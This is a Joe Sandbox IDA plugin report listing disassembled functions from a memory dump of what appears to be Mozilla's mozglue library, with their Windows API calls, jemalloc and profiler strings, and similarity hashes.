Part of subcall function 6CAF94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CAF94EE
Part of subcall function 6CAF94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CAF9508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6CAFF02F

Part of subcall function 6CAFF070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CAFF09B
Part of subcall function 6CAFF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6CAFF0AC
Part of subcall function 6CAFF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6CAFF0BE

Strings

[I %d/%d] profiler_stop, xrefs: 6CAFEED7
[I %d/%d] profiler_pause, xrefs: 6CAFF008

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 196520ca23732ca945e76646b17f4c606762b310daf2a9887fe86ec63a4c8e51
Instruction ID: 6f448875762ccb773a7a08916c9f0ab51231f6a528e7cbd33409870430b2b10a
Opcode Fuzzy Hash: 196520ca23732ca945e76646b17f4c606762b310daf2a9887fe86ec63a4c8e51
Instruction Fuzzy Hash: 27512935604660DFEB205F68D9087AD77B4EB46369F140599F92D83B81DB30588EC7E2

Function 6CAED010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6CB3E804), ref: 6CAED047
GetSystemInfo.KERNEL32(?), ref: 6CAED093
__Init_thread_footer.LIBCMT ref: 6CAED0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6CB3E810,00000040), ref: 6CAED0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6CB3E7B8,00001388), ref: 6CAED147
InitializeCriticalSectionAndSpinCount.KERNEL32(6CB3E744,00001388), ref: 6CAED162
InitializeCriticalSectionAndSpinCount.KERNEL32(6CB3E784,00001388), ref: 6CAED18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6CB3E7DC,00001388), ref: 6CAED1B1

Strings

Compile-time page size does not divide the runtime one., xrefs: 6CAED26D
MALLOC_OPTIONS, xrefs: 6CAED0CB
: (malloc) Unsupported character in malloc options: ', xrefs: 6CAED322
MOZ_CRASH(), xrefs: 6CAED277
<jemalloc>, xrefs: 6CAED268, 6CAED311

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: 117a411d5c5dedb784c928009b501d5b53e8163b70ccecb46bc7badfb5265422
Instruction ID: 92572792ca9ac676a04f9dc36901d50a762ab4db772ccca69050216068206357
Opcode Fuzzy Hash: 117a411d5c5dedb784c928009b501d5b53e8163b70ccecb46bc7badfb5265422
Instruction Fuzzy Hash: 20812770F00290DBEB209F68C959BAD37B5EB9A314F18052BE8099BB80D7759C85DBD1

Function 6CAFFAA0 Relevance: 28.2, APIs: 14, Strings: 2, Instructions: 193threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CAFFADC
AcquireSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CAFFAE9
GetCurrentThreadId.KERNEL32 ref: 6CAFFB31
GetCurrentThreadId.KERNEL32 ref: 6CAFFB43
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6CAFFBF6
ReleaseSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CAFFC50

Strings

[D %d/%d] profiler_unregister_thread: %s, xrefs: 6CAFFC94
[I %d/%d] profiler_unregister_thread() - thread %llu already unregistered, xrefs: 6CAFFD15

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: CurrentThread$D@std@@ExclusiveLockMarkerTextU?$char_traits@V?$allocator@V?$basic_string@$AcquireBlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@Index@1@Marker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Options@1@ProfileProfilerReleaseStringView@
String ID: [D %d/%d] profiler_unregister_thread: %s$[I %d/%d] profiler_unregister_thread() - thread %llu already unregistered
API String ID: 2101194506-3679350629
Opcode ID: 41df878353e269c06bdb166574bf8ec8122da0577b349b2af94c5f6f2a30c910
Instruction ID: caf4190bb080d3bedf3016effc308ebe841f5776869a880ee831f8eaef994fc3
Opcode Fuzzy Hash: 41df878353e269c06bdb166574bf8ec8122da0577b349b2af94c5f6f2a30c910
Instruction Fuzzy Hash: 1371D171A047508FD724DF28C954B6EB7F0EF85308F15456EE86987B51EB30A88ACB92

Function 6CAC5E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAC5E9D

Part of subcall function 6CAD5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CAD56EE,?,00000001), ref: 6CAD5B85
Part of subcall function 6CAD5B50: EnterCriticalSection.KERNEL32(6CB3F688,?,?,?,6CAD56EE,?,00000001), ref: 6CAD5B90
Part of subcall function 6CAD5B50: LeaveCriticalSection.KERNEL32(6CB3F688,?,?,?,6CAD56EE,?,00000001), ref: 6CAD5BD8
Part of subcall function 6CAD5B50: GetTickCount64.KERNEL32 ref: 6CAD5BE4

GetCurrentThreadId.KERNEL32 ref: 6CAC5EAB
GetCurrentThreadId.KERNEL32 ref: 6CAC5EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAC5ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6CAC6017

Part of subcall function 6CAB4310: moz_xmalloc.MOZGLUE(00000010,?,6CAB42D2), ref: 6CAB436A
Part of subcall function 6CAB4310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6CAB42D2), ref: 6CAB4387

moz_xmalloc.MOZGLUE(00000004), ref: 6CAC5F47
GetCurrentProcess.KERNEL32 ref: 6CAC5F53
GetCurrentThread.KERNEL32 ref: 6CAC5F5C
GetCurrentProcess.KERNEL32 ref: 6CAC5F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CAC5F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6CAC5F27

Part of subcall function 6CACCA10: mozalloc_abort.MOZGLUE(?), ref: 6CACCAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAC55E1), ref: 6CAC5E8C

Part of subcall function 6CACCA10: malloc.MOZGLUE(?), ref: 6CACCA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAC55E1), ref: 6CAC605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAC55E1), ref: 6CAC60CC

Strings

GeckoMain, xrefs: 6CAC5ECE, 6CAC6015

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 08e4e55f0bf4f85d02436b8b841056d1dd810cb2364dab610eb85c7d80f4708d
Instruction ID: 37f3e10c6982e7044eafcd9172ffe3b471a35b779d1b2099fbb2edd33c3ab655
Opcode Fuzzy Hash: 08e4e55f0bf4f85d02436b8b841056d1dd810cb2364dab610eb85c7d80f4708d
Instruction Fuzzy Hash: 7571A2B0604780DFD714DF29C580A6ABBF0FF5A308F54496DE48A87B52D771E988CB92

Function 6CAC9590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAB31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6CAB3217
Part of subcall function 6CAB31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6CAB3236
Part of subcall function 6CAB31C0: FreeLibrary.KERNEL32 ref: 6CAB324B
Part of subcall function 6CAB31C0: __Init_thread_footer.LIBCMT ref: 6CAB3260
Part of subcall function 6CAB31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6CAB327F
Part of subcall function 6CAB31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CAB328E
Part of subcall function 6CAB31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CAB32AB
Part of subcall function 6CAB31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CAB32D1
Part of subcall function 6CAB31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CAB32E5
Part of subcall function 6CAB31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CAB32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CAC9675
__Init_thread_footer.LIBCMT ref: 6CAC9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CAC96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CAC9707
__Init_thread_footer.LIBCMT ref: 6CAC971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CAC9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CAC97B7
FreeLibrary.KERNEL32 ref: 6CAC97D0
FreeLibrary.KERNEL32 ref: 6CAC97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CAC9824

Strings

MapViewOfFileNuma2, xrefs: 6CAC97B1
ntdll.dll, xrefs: 6CAC96E3
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CAC9670
NtMapViewOfSection, xrefs: 6CAC9701

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: f5999c68a70a5bf5bb04934c3b380175b877ed4c3d9f0f8a24554158fcc37f96
Instruction ID: 89f9443adf4023fe9c4300dce77be5796d5a841770a78303229ed07fe34d3c59
Opcode Fuzzy Hash: f5999c68a70a5bf5bb04934c3b380175b877ed4c3d9f0f8a24554158fcc37f96
Instruction Fuzzy Hash: 37610571700255DFDF10DF78EA88B9E3BB5EB4A328F044559E91D97B80D730A898CB92

Function 6CAB3AB0 Relevance: 24.2, APIs: 13, Strings: 3, Instructions: 240COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB3E768,?,00003000,00000004), ref: 6CAB3AC5
LeaveCriticalSection.KERNEL32(6CB3E768,?,00003000,00000004), ref: 6CAB3AE5
VirtualFree.KERNEL32(?,00000000,00008000,?,00003000,00000004), ref: 6CAB3AFB
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6CAB3B57
EnterCriticalSection.KERNEL32(6CB3E784), ref: 6CAB3B81
LeaveCriticalSection.KERNEL32(6CB3E784), ref: 6CAB3BA3
EnterCriticalSection.KERNEL32(6CB3E7B8), ref: 6CAB3BAE
LeaveCriticalSection.KERNEL32(6CB3E7B8), ref: 6CAB3C74
EnterCriticalSection.KERNEL32(6CB3E784), ref: 6CAB3C8B
LeaveCriticalSection.KERNEL32(6CB3E784), ref: 6CAB3C9F
LeaveCriticalSection.KERNEL32(6CB3E7B8), ref: 6CAB3D5C
EnterCriticalSection.KERNEL32(6CB3E784), ref: 6CAB3D67
LeaveCriticalSection.KERNEL32(6CB3E784), ref: 6CAB3D8A

Part of subcall function 6CAF0D60: VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6CAB3DEF), ref: 6CAF0D71
Part of subcall function 6CAF0D60: VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6CAB3DEF), ref: 6CAF0D84

Strings

MOZ_CRASH(), xrefs: 6CAB3DB2
: (malloc) Error in VirtualFree(), xrefs: 6CAB3DCC
<jemalloc>, xrefs: 6CAB3DC7

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_CRASH()
API String ID: 2380290044-2272602182
Opcode ID: 17258c2fdcc707bb316cd216dc2b362ee0669d185db11b63bdc636f9aaaf73f8
Instruction ID: ae5d799ded493c7df6a68f3b317dcafc0d2f8601c439634e4349699dd4955823
Opcode Fuzzy Hash: 17258c2fdcc707bb316cd216dc2b362ee0669d185db11b63bdc636f9aaaf73f8
Instruction Fuzzy Hash: 2091D031702255CBCB04CFA8C8C476E77B6FB96314B240529E959ABB85DF71EC84CB81

Function 6CAC7FD0 Relevance: 24.2, APIs: 16, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6CAC8007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6CAC801D

Part of subcall function 6CACCA10: malloc.MOZGLUE(?), ref: 6CACCA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6CAC802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6CAC803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6CAC808D

Part of subcall function 6CACCA10: mozalloc_abort.MOZGLUE(?), ref: 6CACCAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6CAC809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6CAC80B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6CAC80DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAC80ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAC80FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAC810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6CAC8133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6CAC8149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6CAC8167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6CAC817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAC8199

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID:
API String ID: 2721933968-0
Opcode ID: 3eb9d3e7d3c8dffa6be3354083d69b07731e35edb2f2a7a8a80862ef500db175
Instruction ID: 138578a572c50551a66f8ebaedc45deded015f716e2dbba4fd85e280e293fe33
Opcode Fuzzy Hash: 3eb9d3e7d3c8dffa6be3354083d69b07731e35edb2f2a7a8a80862ef500db175
Instruction Fuzzy Hash: 845196B1E002549BDB00DBA9DC849EFB7B9FF49224F180125E815E7741EB34ED48CBA2

Function 6CAC11B0 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 186COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,Interface\{618736E0-3C3D-11CF-810C-00AA00389B71}\ProxyStubClsid32,00000084), ref: 6CAC1213
toupper.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CAC1285
memcpy.VCRUNTIME140(?,TypeLib\{1EA4DBF0-3C3B-11CF-810C-00AA00389B71}\1.1\0\win32,00000076), ref: 6CAC12B9
memcpy.VCRUNTIME140(?,CLSID\{03022430-ABC4-11D0-BDE2-00AA001A1953}\InProcServer32,00000078,?), ref: 6CAC1327

Strings

CLSID\{03022430-ABC4-11D0-BDE2-00AA001A1953}\InProcServer32, xrefs: 6CAC131B
MZx, xrefs: 6CAC11E1
Interface\{618736E0-3C3D-11CF-810C-00AA00389B71}\ProxyStubClsid32, xrefs: 6CAC120D
TypeLib\{1EA4DBF0-3C3B-11CF-810C-00AA00389B71}\1.1\0\win32, xrefs: 6CAC12AD
&, xrefs: 6CAC126B

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: memcpy$toupper
String ID: &$CLSID\{03022430-ABC4-11D0-BDE2-00AA001A1953}\InProcServer32$Interface\{618736E0-3C3D-11CF-810C-00AA00389B71}\ProxyStubClsid32$MZx$TypeLib\{1EA4DBF0-3C3B-11CF-810C-00AA00389B71}\1.1\0\win32
API String ID: 403083179-3658087426
Opcode ID: 0d93137f051fd3b706e76af9471303fec6139dc202a192e5400051941480a3ef
Instruction ID: c8e0a917217bc7d393e1501d9fd29f431d1916c40d1549f855ad9e0a9d788339
Opcode Fuzzy Hash: 0d93137f051fd3b706e76af9471303fec6139dc202a192e5400051941480a3ef
Instruction Fuzzy Hash: 6B718075B017548ADB209F78C9047EEB7F5BF45309F04065AD649A3B40D738AAC9CB92

Function 6CAB31C0 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 183timelibraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6CAB3217
GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6CAB3236
FreeLibrary.KERNEL32 ref: 6CAB324B
__Init_thread_footer.LIBCMT ref: 6CAB3260
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6CAB327F
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CAB328E
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CAB32AB
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CAB32D1
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CAB32E5
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CAB32F7

Part of subcall function 6CAEAB89: EnterCriticalSection.KERNEL32(6CB3E370,?,?,?,6CAB34DE,6CB3F6CC,?,?,?,?,?,?,?,6CAB3284), ref: 6CAEAB94
Part of subcall function 6CAEAB89: LeaveCriticalSection.KERNEL32(6CB3E370,?,6CAB34DE,6CB3F6CC,?,?,?,?,?,?,?,6CAB3284,?,?,6CAD56F6), ref: 6CAEABD1

__aulldiv.LIBCMT ref: 6CAB346B

Strings

KernelBase.dll, xrefs: 6CAB3212
QueryInterruptTime, xrefs: 6CAB3230

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: Time$StampV01@@Value@mozilla@@$CriticalLibrarySectionStamp@mozilla@@$AddressCreation@EnterFreeInit_thread_footerLeaveLoadNow@ProcProcessV12@V12@___aulldiv
String ID: KernelBase.dll$QueryInterruptTime
API String ID: 3006643210-2417823192
Opcode ID: 329fb0d9f09a71ce5052692486abf201ecff9940733f347205cb0493125a9d5e
Instruction ID: 277244c1cd7168adda3dc0aa51870d541b64fec870b26974eac44492e50adb0c
Opcode Fuzzy Hash: 329fb0d9f09a71ce5052692486abf201ecff9940733f347205cb0493125a9d5e
Instruction Fuzzy Hash: 6B61F471A087418BC711CF38C45165AB7F5FFC6355F258B1DF8A9A3690DB30A989CB42

Function 6CB16660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6CB3F618), ref: 6CB16694
GetThreadId.KERNEL32(?), ref: 6CB166B1
GetCurrentThreadId.KERNEL32 ref: 6CB166B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6CB166E1
EnterCriticalSection.KERNEL32(6CB3F618), ref: 6CB16734
GetCurrentProcess.KERNEL32 ref: 6CB1673A
LeaveCriticalSection.KERNEL32(6CB3F618), ref: 6CB1676C
GetCurrentThread.KERNEL32 ref: 6CB167FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6CB16868
RtlCaptureContext.NTDLL(?), ref: 6CB1687F

Strings

WalkStack64, xrefs: 6CB16890

Memory Dump Source

Source File: 00000013.00000002.2594704850.000000006CAB1000.00000020.00000001.01000000.00000015.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000013.00000002.2594494395.000000006CAB0000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595229008.000000006CB2D000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2595422650.000000006CB3E000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000013.00000002.2596279834.000000006CB42000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6cab0000_cda9e1cbbc.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: d1d34b38da8bd2e5dba4678558a1bb4ba4a711f1a7f0d10538db705406be9363
Instruction ID: 969409ba7385e711f1ed5c688859e60356a56b7e101a536c75839babc6a4fe43
Opcode Fuzzy Hash: d1d34b38da8bd2e5dba4678558a1bb4ba4a711f1a7f0d10538db705406be9363
Instruction Fuzzy Hash: 31517971A09791AFD721CF24C844A9EBBF4FF89714F00492DF99997A40D774A908CB92

Function 6CAFDE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAC4A68), ref: 6CAF945E
Part of subcall function 6CAF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAF9470
Part of subcall function 6CAF9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAF9482
Part of subcall function 6CAF9420: __Init_thread_footer.LIBCMT ref: 6CAF949F

GetCurrentThreadId.KERNEL32 ref: 6CAFDE73
GetCurrentThreadId.KERNEL32 ref: 6CAFDF7D
AcquireSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CAFDF8A
ReleaseSRWLockExclusive.KERNEL32(6CB3F4B8), ref: 6CAFDFC9
GetCurrentThreadId.KERNEL32 ref: 6CAFDFF7
